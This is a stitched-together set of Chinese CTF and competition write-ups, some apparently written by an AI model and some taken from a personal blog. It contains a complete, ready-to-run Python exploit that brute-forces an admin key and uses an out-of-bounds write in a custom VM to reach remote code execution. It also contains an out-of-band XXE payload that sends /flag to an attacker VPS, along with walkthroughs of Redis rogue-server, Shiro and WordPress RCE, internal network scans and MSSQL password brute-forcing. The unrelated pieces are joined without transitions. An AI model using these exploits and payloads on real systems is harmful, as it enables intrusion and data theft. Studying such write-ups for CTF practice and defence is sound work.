这是一个简单的自制堆栈虚拟机。经过分析发现，Opcode 0x07 (STORE_MEM) 指令的指令格式为 07 。它会将我们在寄存器里的值存储到一个全局 .data 数组偏移中：*(0x94D0 + imm8) = val。由于 imm8 被强制通过 movsx 进行带符号扩展，故偏移值可以为负数！当传入 -128 (0x80) 时，写入的内存地址正好命中 0x9450——此地址正是保存着引擎即将调用的硬编码诊断脚本路径 "/opt/neuralchat/plugins/diag.sh" 的位置！
通过 VNM 的连续越界写入，我们可以用任意 Bash 脚本替换这个字符串。随着 VNM 以 Halt 指令安全退出后，这句覆写过的字符串紧接着会被原有的 system() 函数执行，达成 RCE 并在 Flask 共享的挂载目录中拉取 flag！

Python 完整漏洞利用脚本 (EXP)

请将此脚本用作最终 Payload 生成并发送的过程，你可以将其命名为 solve.py 然后直接运行。脚本会自动完成“时间推算→计算密钥→组装恶意字节码→执行提权→拉取 Flag”。（前提是容器环境在 127.0.0.1:5000 提供 API 服务，若是远程靶机请修改 URL）。

import requests
import struct
import json
import time
import hashlib
import base64
import sys

URL = "http://127.0.0.1:5000"

# ELF 中写死的 256 位替换阵列
SBOX = bytes.fromhex("637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16")

def derive_admin_key(g_pid, g_start_time):
    """ 本地逆向还原的 C 语言后端 XorShift+SBOX 密钥派生算法 """
    v4 = ((73244475 * g_pid) & 0xffffffff) ^ ((295559667 * g_start_time) & 0xffffffff)
    a3 = bytearray(16)
    for i in range(16):
        v4 ^= (v4 << 13) & 0xffffffff
        v4 ^= (v4 >> 7)
        v4 ^= (v4 << 17) & 0xffffffff
        a3[i] = SBOX[v4 & 0xff]
        res = (0x9e3779b9 * (i + 1)) & 0xffffffff
        v4 = (v4 + res) & 0xffffffff
    return bytes(a3)

def make_admin_payload(g_pwn, sub_cmd, data=b''):
    """ 模拟验证：SHA256(timestamp || sub_cmd || data || admin_key_16bytes) """
    ts = int(time.time())
    h = hashlib.sha256()
    h.update(struct.pack(', ts))
    h.update(bytes([sub_cmd]))
    if data: h.update(data)
    h.update(g_pwn)
    digest = h.digest()
    return struct.pack(', ts) + bytes([sub_cmd]) + digest + data

def send_api_raw(command, payload=b''):
    """ 通过 Flask /api/raw 端点封装请求转发至 Engine 的 UNIX Socket """
    raw_data = bytes([command]) + payload
    b64_data = base64.b64encode(raw_data).decode()
    resp = requests.post(f"{URL}/api/raw", json={"data": b64_data})
    if resp.status_code == 200:
        res = base64.b64decode(resp.json()['data'])
        return res[0], res[1:]
    return None, b''

try:
    # 1. 第一步：利用开放的 STATUS 端口偷取时间戳和进程 PID
    st = requests.get(f"{URL}/api/status").json()
except Exception as e:
    print(f"[-] Ensure Flask is running at {URL}")
    sys.exit(1)

g_pid = st['pid']
uptime = st['uptime']
print(f"[*] Leaked PID: {g_pid}, Uptime: {uptime}")

curr_time = int(time.time())
g_start_time_approx = curr_time - uptime
g_pwn = None

# 为了剔除网络延迟带来的偏移，在 -10 至 +10 秒偏差窗口进行爆破
for offset in range(-10, 11):
    test_start = g_start_time_approx + offset
    test_key = derive_admin_key(g_pid, test_start)
    
    # 子命令 1 (info)：测试鉴权是否通过
    payload = make_admin_payload(test_key, 1)
    st_auth, res = send_api_raw(0xFF, payload)
    if st_auth == 0:
        print(f"[+] Found correct start time offset: {offset}")
        print(f"[+] Derived Admin Key (g_pwn): {test_key.hex()}")
        g_pwn = test_key
        break

if not g_pwn:
    print("[-] Failed to find start time / key")
    sys.exit(1)

# 2. 第二步：编写恶意的虚拟状态机代码 (VNM) ，并利用 Opcode 0x07 的越界负偏移进行利用。
# 由于 0x9450 位刚好等于相对偏移 -128。我们将要执行的 bash 把 flag 写到下载目录
cmd = b'cat /home/ctf/flag > /opt/neuralchat/downloads/1.txt\0'
cmd += b'\0' * ((4 - len(cmd) % 4) % 4) # 按照 VM 的寄存器尺寸，32 位对齐补全
vnm_bytecode = b''

# 将 Bash 拆碎使用字节码的寄存器赋值与内存覆盖
for i in range(0, len(cmd), 4):
    chunk = cmd[i:i+4]
    val = struct.unpack(', chunk)[0]
    # Opcode 0x02: LDI R0, val (把块载入寄存器 0)
    vnm_bytecode += bytes([0x02, 0x00]) + struct.pack(', val) 
    imm = -128 + i
    # Opcode 0x07: STORE R0, imm (通过负向越界将内存覆写在 `0x9450+i` 处)
    vnm_bytecode += bytes([0x07, imm & 0xFF, 0x00]) 

# Opcode 0xFF: HALT (指令正常交出权限, 这会触发系统执行 0x9450 命令区)
vnm_bytecode += b'\xff' 

print(f"[*] Sending bytecode to OOB overwrite `/opt/neuralchat/plugins/diag.sh` ...")
# 提交子命令 5 执行自定义提权指令
payload = make_admin_payload(g_pwn, 5, vnm_bytecode)
st_auth, res = send_api_raw(0xFF, payload)

if st_auth == 0:
    print("[+] VNM Execution Success! Command executed via system()!")
    time.sleep(1) # 等待后端刷新
    
    # 3. 第三步：通过 /api/download 下载出暴露的文件拿取真正的 Flag
    r = requests.get(f"{URL}/api/download?file=1.txt")
    if r.status_code == 200:
        print("\n[+] Flag successfully retrieved:")
        print(r.text.strip())
    else:
        print("[-] Run succeeded but could not download the flag file.")
else:
    print("[-] Execution failed.")

Stream-Capture

以下是完整的解答和还原过程：

1. 协议识别

通过对 PCAP 分析，观察到 TCP 端口 47984、48010 的控制交互，以及大量 UDP 47998 的持续传输，可以确认这是 Moonlight / NVIDIA GameStream 串流协议的流量。其中 UDP 47998 承载了核心的视频流（Video Stream）。

2. 为什么画面会被“遮挡”？（花屏原因）

如果你使用 Wireshark 直接 “Follow UDP Stream” 导出 Payload，或者直接用 ffmpeg 强转原始二进制文件提取视频，ffmpeg 会尝试暴力搜索 H.264 视频流特征码（00 00 00 01）并强行解码。

但是，Moonlight 并非直接发送纯净的 H.264 数据，它在每个分片前面加上了自己专属的封装头（Header）（包含了序号、抓取时间戳等）。如果你不剥离这些头部（有些包是 14 字节，有些是 17、40 字节等），H.264 解码器就会把这些“非视频数据”误当成画面的宏块（Macroblock）参与计算。这会导致：

视频关键帧（I帧）/预测帧（P帧）解析出错
产生大量报错（如 error while decoding MB, slice type too large）
最终表现就是满屏的随机马赛克和花屏，刚好遮盖了 Flag。

3. 解题与修复过程 (获取 clean 流)

要拿到没有花屏的视频，必须写脚本将 UDP 数据包中属于 Moonlight 协议的私有头部剥离，只保留真正的 H.264 NAL Unit（网络抽象层单元）。
解题所用的大致处理逻辑如下：

from scapy.all import rdpcap, UDP

# 1. 读取抓包文件
packets = rdpcap('capture.pcapng')

with open('clean.h264', 'wb') as f:
    for pkt in packets:
        # 2. 提取 47998 端口的视频流载荷
        if UDP in pkt and (pkt[UDP].sport == 47998 or pkt[UDP].dport == 47998):
            payload = bytes(pkt[UDP].payload)
            
            # 3. 定位 H.264 原始流的起始特征码
            idx = payload.find(b'\x00\x00\x00\x01')
            
            if idx != -1:
                # 剥离前方的混淆头部（14~40字节不等），只写入纯净的视频数据
                f.write(payload[idx:])
            else:
                # 针对分包无起始码的情况，根据经验通常跳过固定的 RTP 报头长度即可
                # (如通常是开头的部分字节，这里作简化演示，精准提取需要按NVENC协议解析分包片段)
                f.write(payload[16:])

4. 拿到最终 Flag

拿到剥离干净头部的 clean.h264 裸流后，直接通过 FFmpeg 封装即可：

1	ffmpeg -i clean.h264 -c:v copy clean.mp4

由于没有了垃圾字节干扰，此时打开 clean.mp4 进行逐帧播放，画面将会完美恢复渲染，所有的马赛克消失，视频中原本被“遮挡”的明文 Flag 就能非常清晰地读取出来了。任务已完成。我已经向你提供了从 Moonlight/GameStream 协议的 UDP 流量中剥离私有头部、提取纯净 H.264 视频流以修复画面撕裂并获取 Flag 的完整原理解答过程。

Model-Entropy

根据题意，“在评估其权重分布时发现，本应承载海量语义特征的Embedding层在参数规模上存在显著的异常缩减”，结合这层总共有 $$18 \times 20 = 36$$ 个参数。通常在这种AI安全/隐写题中，如此有零有整的小规模参数极有可能是在利用权重的底层表示（如二进制比特）来隐写信息。

通过读取 sentiment_model.npz 中 embedding_layer 层权重的底层比特位，我们可以发现在 IEEE 754 32位单精度浮点数的最低有效位（LSB）中隐藏了特殊的数据。

360个浮点数的最低有效位恰好能拼接成 45 个字节的数据。将这些比特按所在字节做小端序反转后，虽然还不是直接的明文，但将其与固定头部 flag{ 进行异或（XOR）可以推导出一段循环密钥 "GHOST"。

使用 “GHOST” 作为密钥对所有提取出的字节进行异或解密，就能得到最终的 flag。

为你提供具体的提取和解密脚本如下：

import numpy as np

# 1. 载入模型参数并提取 embedding_layer 权重
data = np.load('sentiment_model.npz')
weights = data['embedding_layer']

# 2. 将 float32 解析为等价的底层 32 位无符号整数表示，提取最低有效位 (LSB)
raw_uint32 = weights.view(np.uint32)
lsb_bits = (raw_uint32.flatten() & 1).tolist()

# 3. 每 8 个 bit 组成一个字节，注意按小端序翻转 (逆序拼接比特)
bytes_lst = []
for i in range(0, len(lsb_bits), 8):
    byte_val = int(''.join(map(str, lsb_bits[i:i+8][::-1])), 2)
    bytes_lst.append(byte_val)

extracted_bytes = bytes(bytes_lst)

# 4. 使用找出的明文密钥 "GHOST" 进行循环异或解密
key = b'GHOST'
flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(extracted_bytes)])

print(flag.decode('ascii'))

运行这段代码得出的完整Flag为：

flag{9bb55899-ca94-4217-9393-5f7f55174d6e}

Active

源码/反编译分析与 Shiro 绕过

获取到相关的 back.jar 后进行逆向分析，发现在 MyShiroFilterFactoryBean.class 中，程序对 /permit/.* 的路径进行了拦截控制，交由 MyFilter 处理。MyFilter 中要求验证请求头必带 AccessToken: faketoken。

由于 Shiro 1.9.0 版本中 RegExPatternMatcher 存在设计缺陷 (CVE-2022-32532)，含有换行符 %0a 的请求可以导致正则匹配失效，从而实现鉴权绕过。利用该绕过或在公开页面中，我们可以访问到隐藏的后台模板 admin.html。该页面暴露出一个隐藏的 API 接口： POST /parse/sax-parser（负责接收并解析 XML 数据）。

SAX Parser XXE 漏洞验证

向 /parse/sax-parser 发送包含恶意外部实体的 XML 数据，尝试让系统去访问VPS。既然是正常的 SAX Parser 解析器，且未禁用外部实体解析（External Entity Resolution），这就构成了一个典型的 Blind XXE 漏洞。因为该接口没有直接的回显点，采用 OOB (Out-of-Band) 的方式带外获取 Flag。

构造 OOB XXE 攻击链

公网服务器准备恶意 DTD 文件在公网 VPS上准备一个恶意的 DTD 文件 evo.dtd。利用参数实体 SYSTEM 读取服务器本地的 /flag，并拼接到一个 HTTP 请求发回给服务器。创建 evo.dtd 内容如下：

1 2	all ""> %all;

在公网服务器和挂载该 DTD 的同级目录下，开启一个简易的 HTTP 监听：

发送初始触发 Payload 写 Python 脚本 attack.py 对目标 API 接口

import urllib.request
import ssl

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

target_url = "https://eci-2zehtweno82k01nvghy6.cloudeci1.ichunqiu.com:8081/parse/sax-parser"
xxe_payload = """"1.0" encoding="UTF-8"?>
foo [
    file SYSTEM "file:///flag">
    dtd SYSTEM "yourip:port/evo.dtd">
    %dtd;
    %send;
]>
<foo>foo>"""

req_xxe = urllib.request.Request(
    target_url,
    data=xxe_payload.encode('utf-8'),
    headers={'Content-Type': 'application/xml'},
    method='POST'
)

print("正在发送攻击载荷...")
try:
    urllib.request.urlopen(req_xxe, context=ctx)
except Exception as e:
    print("触发完毕(", e, ")")

运行并获取 Flag

执行 DTD 中的动态拼接逻辑，受害者服务器携带着 %file 作为参数，主动发出 GET 请求对 VPS 进行访问。最后，在 VPS 的 python3 -m http.server 面板日志中，可以看到携带 Base64 或是明文 Flag 的 HTTP 请求日志，至此 Flag 成功到手。

flag{d7fefc69-b9b8-44c5-a124-6223a9f101d1}

Lost-Signal

这道题的核心是利用 NLP 中的词向量（Word Embedding）的向量运算原理来解开谜语。以下是完整的推导和操作过程：

1. 题目信息分析

signal.txt 中要求我们在 glove-twitter-25 词向量空间下完成几组语义类比（Semantic Analogies）：

man is to king, ? is to queen (男人对应国王，? 对应女王)
paris is to france, ? is to italy (巴黎对应法国，? 对应意大利)
bad is to worst, ? is to best (坏对应最坏，? 对应最好)
small is to tiny, ? is to massive (小对应极小，? 对应巨大)
cat is to kitten, ? is to puppy (猫对应小猫，? 对应小狗)
winter is to cold, ? is to hot (冬天对应冷，? 对应热)

2. 词向量的数学原理

在词向量空间（如 Word2Vec、GloVe）中，词汇之间的语义关系体现在空间距离与方向上。经典的类比例子是：

King - Man = Queen - Woman

因此，如果我们已知 A is to B, C is to D（缺失 C），关系就是 B - A = D - C。可以通过公式求出目标词 C：

C = D - B + A

3. 使用 Gensim 还原缺失节点

我们利用 Python 的开源 NLP 库 Gensim 加载题目指定的 glove-twitter-25 模型，并实现上述公式寻找距离最近的词（代码即我们刚才写入工作区的 solve.py）：

import gensim.downloader as api

print("Loading model...")
# 加载指定的基于 Twitter 数据训练的 25 维 GloVe 模型
model = api.load('glove-twitter-25')

# 按照 ( [A, D], [B] ) 分组，即计算 D + A - B
analogies = [
    (['man', 'queen'], ['king']),
    (['paris', 'italy'], ['france']),
    (['bad', 'best'], ['worst']),
    (['small', 'massive'], ['tiny']),
    (['cat', 'puppy'], ['kitten']),
    (['winter', 'hot'], ['cold'])
]

words = []
for pos, neg in analogies:
    # most_similar 可以传入正向词 (相加) 和负向词 (相减) 
    res = model.most_similar(positive=pos, negative=neg, topn=1)
    word = res[0][0]
    print(f"{pos[0]} - {neg[0]} + {pos[1]} = {word}")
    words.append(word)

print("Result:", "".join(words))

因为 25 维推特模型的精度及语料限制，算出来的词带有强烈的口语/非正式特征（和高维新闻词库结果不同），运行结果分别是：

man - king + queen = so
paris - france + italy = brazil
bad - worst + best = cool
small - tiny + massive = deal
cat - kitten + puppy = dog
winter - cold + hot = fashion

将计算得到的这些词组合起来，就得到了解密密码：sobrazilcooldealdogfashion

4. 获取 Flag

我使用密码 sobrazilcooldealdogfashion 对你工作区里的 archive.zip 进行了自动解压，成功获得内部的 flag.txt。

1	7z x archive.zip -psobrazilcooldealdogfashion

里面包含的最终 Flag 为：

flag{ae97fb341dc2e779b230f141fb7e04ee}

任务已完成。我已向你详细解释了基于Gensim库进行词向量特征类比的推导和解题过程，并将密码应用于压缩包成功提取得到了 flag.txt 中的 flag：flag{ae97fb341dc2e779b230f141fb7e04ee}。

Brute4Road打靶flag1-2（待完结

2026-03-25T12:47:00.000Z

老师说沙砾快过期了，最近多做一点

flag1

先fscan

有ftp和redis未授权
ftp看没有什么东西

redis也没有

那应该就是利用这些进行反弹shell了

options需要另外一个服务器上有redis

这里因为云服务器配置问题一直没有成功，后面找了师傅的开源项目GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE · GitHub
这里只有一次机会打，否则就要重启靶机
并且似乎他的反弹shell指令有问题，所以用交互shell之后再反弹

find一下flag

那这里就得提权

发现base64，用gtfobins查看

这里可以未授权访问，读刚刚未授权的flag文件

flag2

先开本地httpserver文件服务

在靶机上下载fscan和代理工具

看一下ip

start ping
(icmp) Target 172.22.2.3      is alive
(icmp) Target 172.22.2.7      is alive
(icmp) Target 172.22.2.18     is alive
(icmp) Target 172.22.2.34     is alive
(icmp) Target 172.22.2.16     is alive
[*] Icmp alive hosts len is: 5
172.22.2.16:80 open
172.22.2.18:22 open
172.22.2.16:1433 open
172.22.2.18:445 open
172.22.2.16:445 open
172.22.2.34:445 open
172.22.2.3:445 open
172.22.2.7:22 open
172.22.2.16:139 open
172.22.2.34:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.18:139 open
172.22.2.7:21 open
172.22.2.16:135 open
172.22.2.3:135 open
172.22.2.18:80 open
172.22.2.7:6379 open
172.22.2.3:88 open
172.22.2.7:80 open
[*] alive ports len is: 20
start vulscan
[*] WebTitle http://172.22.2.16        code:404 len:315    title:Not Found
[*] NetInfo 
[*]172.22.2.34
   [->]CLIENT01
   [->]172.22.2.34
[*] NetInfo 
[*]172.22.2.3
   [->]DC
   [->]172.22.2.3
[*] OsInfo 172.22.2.3   (Windows Server 2016 Datacenter 14393)
[*] NetInfo 
[*]172.22.2.16
   [->]MSSQLSERVER
   [->]172.22.2.16
[*] NetBios 172.22.2.34     XIAORANG\CLIENT01             
[*] WebTitle http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] OsInfo 172.22.2.16  (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.3      [+] DC:DC.xiaorang.lab               Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.18     WORKGROUP\UBUNTU-WEB02        
[*] NetBios 172.22.2.16     MSSQLSERVER.xiaorang.lab            Windows Server 2016 Datacenter 14393
[+] ftp 172.22.2.7:21:anonymous 
   [->]pub
[*] WebTitle http://172.22.2.18        code:200 len:57738  title:又一个WordPress站点
已完成 20/20
[*] 扫描结束,耗时: 12.972952082s

用venom成功代理上

看到了wordpress，这个洞多，先打

用wpscan扫发现有个wpcargo，版本是6.x

大概率就是GitHub - biulove0x/CVE-2021-25003: WPCargo < 6.9.0 - Unauthenticated RCE · GitHub
用脚本上shell

根据wsl的ip设置代理服务器

连接

可以看到成功了

在wp-config.txt里找到数据库账号密码

找到flag2表

flag3

随后发现上面很奇怪，打开看是个密码表

导出成csv后尝试爆破
再看前面，估计只有172.22.2.16的密码是需要爆破的（mssql）
./fscan -h 172.22.2.16 -m mssql -pwdf 1.txt -user sa
[+] mssql:172.22.2.16:1433:sa ElGNkOiC

后面的先挖个坑，电脑proxifier装不好了（哭

2026长城杯半决赛wp

2026-03-24T03:43:00.000Z

第二轮修出来了，侥幸拿了二等奖，第一次接触awdp和isw能做到这个程度已经还行了，明年争取进决赛qwq

awdp-mediadrive

主要漏洞就是用户反序列化漏洞，修改成更加严格的形式即可



declare(strict_types=1);

require_once __DIR__ . "/lib/User.php";

require_once __DIR__ . "/lib/Util.php";

  

$uploadsDir = "/var/www/html/uploads/";

  

$user = null;

if (isset($_COOKIE['user'])) {

    $cookieUser = $_COOKIE['user'];

    try {

        $user = unserialize($cookieUser);

        if (!$user instanceof User) {

            throw new \InvalidArgumentException("Invalid user type");

        }

    } catch (\Exception $e) {

        // 反序列化失败，使用默认用户

        $user = new User("guest");

    }

}

if (!$user instanceof User) {

    $user = new User("guest");

    setcookie("user", serialize($user), time() + 86400, "/");

}

  

$msg = "";

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {

    $f = $_FILES['file'];

    if ($f['error'] === UPLOAD_ERR_OK) {

        // === 修复2: 路径遍历防护 ===

        $name = Util::safeUploadName($f['name'] ?? 'upload.bin');

        // 额外检查是否包含路径遍历字符

        if (str_contains($name, '..') || str_contains($name, '/')) {

            $msg = "Invalid filename: path traversal detected.";

        } else {

            if (!Util::isAllowedUploadExtension($name)) {

                $msg = "Upload failed: disallowed extension.";

            } else {

                // 规范化路径，确保在 uploadsDir 内

                $baseDir = realpath(rtrim($uploadsDir, '/'));

                $dstPath = rtrim($uploadsDir, '/') . '/' . ltrim($name, '/');

                if (realpath($dstPath) && str_starts_with(realpath($dstPath), $baseDir)) {

                    if (move_uploaded_file($f['tmp_name'], $dstPath)) {

                        // === 修复3: 限制上传文件权限 ===

                        chmod($dstPath, 0644); // 只读，防止执行

                        $msg = "Uploaded: " . $name;

                    } else {

                        $msg = "Upload failed.";

                    }

                } else {

                    $msg = "Path traversal detected after normalization.";

                }

            }

        }

    } else {

        $msg = "Upload error: " . (string)$f['error'];

    }

}

if (!isset($_SESSION['csrf_token'])) {

    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));

}

$files = Util::listUploads($uploadsDir);

  

?>







  

  

  MediaDrive

  





  

    

      

        


        MediaDrive

        Preview & Convert

      

  

      

        Preferences

      

    

  

    

      

        

          Upload

          Upload a file, then preview it.

        

  

        

          

        

  

        

          

          

        


  

        

          Current user: name) ?> · Encoding: encoding) ?>

        

      

  

      

        

          My Files

          Click preview to open a file.

        

  

        

          No files yet. Upload one to get started.

        

          

            

              Name
Size
Updated
Actions

            

            

              

                

                

                

                

                  Preview

                  Download

                

              

            

          

        

      

    

  

    

      MediaDrive · Internal tool

      health

profile.php



declare(strict_types=1);

require_once __DIR__ . "/lib/User.php";

require_once __DIR__ . "/lib/Util.php";

  

$user = null;

if (isset($_COOKIE['user'])) {

    $cookieUser = $_COOKIE['user'];

    try {

        $user = unserialize($cookieUser);

        if (!$user instanceof User) {

            throw new \InvalidArgumentException("Invalid user type");

        }

    } catch (\Exception $e) {

        error_log("Cookie unserialize failed: " . $e->getMessage());

        $user = new User("guest");

    }

}

  

if (!$user instanceof User) {

    $user = new User("guest");

    setcookie(

        "user",

        serialize($user),

        time() + 86400,

        "/"

    );

}

  
  

$msg = "";

$allowed = ["UTF-8", "GBK", "BIG5", "ISO-2022-CN-EXT"];

  

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    $enc = (string)($_POST['encoding'] ?? "UTF-8");

    if (!in_array($enc, $allowed, true)) {

        $msg = "Unsupported encoding";

    } else {

        $user->encoding = $enc;

        setcookie("user", serialize($user), time() + 86400, "/");

        $msg = "Saved";

    }

}

?>







  

  

  Preferences · MediaDrive

  





  

    

      

        


        MediaDrive

        Preferences

      

      

    

  

    

      

        

          Preview Encoding

          Choose how filenames are converted before preview.

        

  

        

          

        

  

        

          Encoding

          

  

          

            

            Back

          

  

          

            Stored in user cookie.

渗透-isw1

工具扫出是shiro框架
用工具利用

第一个flag在根目录

2026数信杯AI决赛wp

2026-03-20T11:00:00.000Z

最后排名第30（学生队第二），学生队一共也只有19队，主要还是公司居多
本来感觉没啥希望了，结果发现大模型越狱那里接的云端api模型，后面就还是顺一些

模型生命周期1

写爬虫爬取数据
本人因为忘记爬虫怎么写所以用的切片:(

import requests

from hashlib import md5

submit_data=[]

def download_image(url):
    response = requests.get(url,cookies=cookies)

    if response.status_code == 200:

        with open("temp.png", "wb") as f:

            f.write(response.content)

        return md5(open("temp.png", "rb").read()).hexdigest()

for i in range(1,501):

    cookies={"session":"eyJsb2dnZWRfaW4iOnRydWUsInNlY3VyaXR5X3NlZWQiOiJuODdSMnlTbmRydHBaNnp1IiwidXNlcm5hbWUiOiJhZG1pbiJ9.abzkAQ.h11w8NWOL-sdaNF4uQOnwIl3mlY"}

    website="http://192.168.69.201:19301/patient/"+str(i)

    print(website)

    response = requests.get(website,cookies=cookies)

    print(response.status_code)

    print(response.text)

    s=response.text

    print(s.find("来自体检记录"))

    id=s[s.find("患者ID")+50:s.find("患者ID")+53]

    name=s[s.find("姓名")+48:s.find("姓名")+51]

    tel=s[s.find("电话")+48:s.find("电话")+59]

    review=s[s.find("来自体检记录")+138:s.find("来自体检记录")+238]

    pic=s[s.find("

    pic="http://192.168.69.201:19301"+pic

    print(pic)

    print(download_image(pic))

    if "

        id=id[0]

    elif "<" in id:

        id=id[:2]

        print(id)

    if "" in review:

        review=review[:review.find("")]

    data=[id,name,tel,review,download_image(pic)]

    print(data)

    submit_data.append(data)

with open("submit1.csv", "w+") as f:

    headers = ["patient_id", "patient_name", "phone", "comment", "ct_image_md5"]

    f.write(",".join(headers) + "\n")

    for line in submit_data:

        f.write(",".join([str(v) for v in line]) + "\n")

模型生命周期2

用1的数据做人工标注就行，500条数据看哪个是正向哪个负面情绪，人工应该是最方便的

模型生命周期3

这里是用的大模型越狱那个ai
直接发到服务器就行

import pandas as pd  
import numpy as np  
import re  
import jieba  
from sklearn.feature_extraction.text import TfidfVectorizer  
from sklearn.linear_model import LogisticRegression  
from sklearn.model_selection import train_test_split  
from sklearn.metrics import accuracy_score  
import joblib  
from flask import Flask, request, jsonify  
from flask_cors import CORS  
import warnings  
warnings.filterwarnings('ignore')  
  
# 1. 数据预处理和模型训练函数  
def preprocess_text(text):  
 """文本预处理函数"""  
 if not isinstance(text, str):  
  return ""  
 # 去除特殊字符和标点  
 text = re.sub(r'[^\w\s]', '', text)  
 # 去除数字  
 text = re.sub(r'\d+', '', text)  
 # 去除空白字符  
 text = text.strip()  
 # 使用jieba分词  
 words = jieba.lcut(text)  
 # 过滤停用词（简单版本）  
 stop_words = ['的', '了', '在', '是', '我', '有', '和', '就', '不', '人', '都', '一', '一个', '上', '也', '很', '到', '说', '要', '去', '你', '会', '着', '没有', '看', '好', '自己', '这']  
 words = [word for word in words if word not in stop_words and len(word) > 1]  
 return ' '.join(words)  
  
def train_model():  
 """训练情感分析模型"""  
 print("开始加载数据集...")  
 try:  
  # 加载数据集  
  df = pd.read_csv('data.csv')  
  print(f"数据集加载成功，共{len(df)}条数据")  
  print(f"数据列名: {df.columns.tolist()}")  
  print(f"标签分布:\n{df['label'].value_counts()}")  
 except Exception as e:  
  print(f"加载数据集失败: {e}")  
  return None, None, None  
  
 # 数据预处理  
 print("开始数据预处理...")  
 df['cleaned_review'] = df['review'].apply(preprocess_text)  
 print(f"预处理完成，示例数据:\n{df[['review', 'cleaned_review', 'label']].head()}")  
  
 # 划分训练集和测试集  
 X = df['cleaned_review']  
 y = df['label']  
 X_train, X_test, y_train, y_test = train_test_split(  
   X, y, test_size=0.2, random_state=42, stratify=y  
 )  
 print(f"训练集大小: {len(X_train)}, 测试集大小: {len(X_test)}")  
  
 # 特征提取 - TF-IDF  
 print("开始特征提取...")  
 vectorizer = TfidfVectorizer(  
   max_features=5000,  
   ngram_range=(1, 2),  
   min_df=3,  
   max_df=0.9  
 )  
 X_train_tfidf = vectorizer.fit_transform(X_train)  
 X_test_tfidf = vectorizer.transform(X_test)  
 print(f"特征维度: {X_train_tfidf.shape}")  
  
 # 训练模型  
 print("开始训练模型...")  
 model = LogisticRegression(  
   C=1.0,  
   max_iter=1000,  
   random_state=42,  
   class_weight='balanced'  
 )  
 model.fit(X_train_tfidf, y_train)  
  
 # 评估模型  
 y_pred = model.predict(X_test_tfidf)  
 accuracy = accuracy_score(y_test, y_pred)  
 print(f"模型在测试集上的准确率: {accuracy:.4f}")  
  
 return model, vectorizer, accuracy  
  
# 2. Flask API服务  
app = Flask(__name__)  
CORS(app)  
  
# 全局变量存储模型和向量化器  
model = None  
vectorizer = None  
  
@app.route('/predict', methods=['POST'])  
def predict():  
 """API预测接口"""  
 try:  
  # 获取请求数据  
  data = request.get_json()  
  if not data or 'text' not in data:  
   return jsonify({'error': '请求格式错误，需要{"text": "评论内容"}'}), 400  
  
  text = data['text']  
  if not text or not isinstance(text, str):  
   return jsonify({'error': 'text字段不能为空且必须是字符串'}), 400  
  
  # 预处理文本  
  cleaned_text = preprocess_text(text)  
  if not cleaned_text:  
   # 如果预处理后为空，返回默认值  
   return jsonify({  
    'result': 1, # 默认正向  
    'probability': 0.5  
   }), 200  
  
  # 特征提取  
  text_tfidf = vectorizer.transform([cleaned_text])  
  # 预测  
  prediction = model.predict(text_tfidf)[0]  
  probabilities = model.predict_proba(text_tfidf)[0]  
  # 获取预测类别的概率  
  pred_prob = probabilities[prediction]  
  
  # 返回结果  
  return jsonify({  
    'result': int(prediction),  
    'probability': float(pred_prob)  
  }), 200  
  
 except Exception as e:  
  print(f"预测过程中出错: {e}")  
  return jsonify({'error': '内部服务器错误'}), 500  
  
@app.route('/health', methods=['GET'])  
def health_check():  
 """健康检查接口"""  
 if model is not None and vectorizer is not None:  
  return jsonify({'status': 'healthy', 'model_loaded': True}), 200  
 else:  
  return jsonify({'status': 'unhealthy', 'model_loaded': False}), 503  
  
def load_or_train_model():  
 """加载或训练模型"""  
 global model, vectorizer  
 try:  
  # 尝试加载已保存的模型  
  model = joblib.load('sentiment_model.pkl')  
  vectorizer = joblib.load('tfidf_vectorizer.pkl')  
  print("模型加载成功")  
  return True  
 except:  
  print("未找到已保存的模型，开始训练新模型...")  
  model, vectorizer, accuracy = train_model()  
  if model is not None:  
   # 保存模型  
   joblib.dump(model, 'sentiment_model.pkl')  
   joblib.dump(vectorizer, 'tfidf_vectorizer.pkl')  
   print(f"模型训练完成并已保存，准确率: {accuracy:.4f}")  
   return True  
  else:  
   print("模型训练失败")  
   return False  
  
if __name__ == '__main__':  
 print("="*50)  
 print("医疗情感分析API服务启动中...")  
 print("="*50)  
  
 # 加载或训练模型  
 if load_or_train_model():  
  print("模型准备就绪")  
  app.run(host='0.0.0.0', port=9000, debug=False)  
 else:  
  print("模型加载/训练失败，服务无法启动")

模型训练安全2

自动访问api，比较最相似图像

import requests

import numpy as np

import os

from tqdm import tqdm

import hashlib

  

# 基础配置

base_url = "http://192.168.69.201:19304"

upload_url = f"{base_url}/api/upload"

poison_image_path = "image.png" # 投毒样本图像

  

def get_embedding(image_path):

 """通过API获取图像的嵌入向量"""

 try:

  with open(image_path, 'rb') as f:

    files = {'file': (os.path.basename(image_path), f, 'image/png')}

    response = requests.post(upload_url, files=files)

    if response.status_code == 200:

      data = response.json()

      if data.get('success'):

        return np.array(data['embedding'])

      else:

        print(f" API返回失败: {data}")

        return None

    else:

      print(f" 请求失败，状态码: {response.status_code}")

      return None

 except Exception as e:

  print(f" 获取嵌入向量时出错: {e}")

  return None

  

def cosine_similarity(vec1, vec2):

 """计算余弦相似度"""

 if vec1 is None or vec2 is None:

  return 0

 dot_product = np.dot(vec1, vec2)

 norm1 = np.linalg.norm(vec1)

 norm2 = np.linalg.norm(vec2)
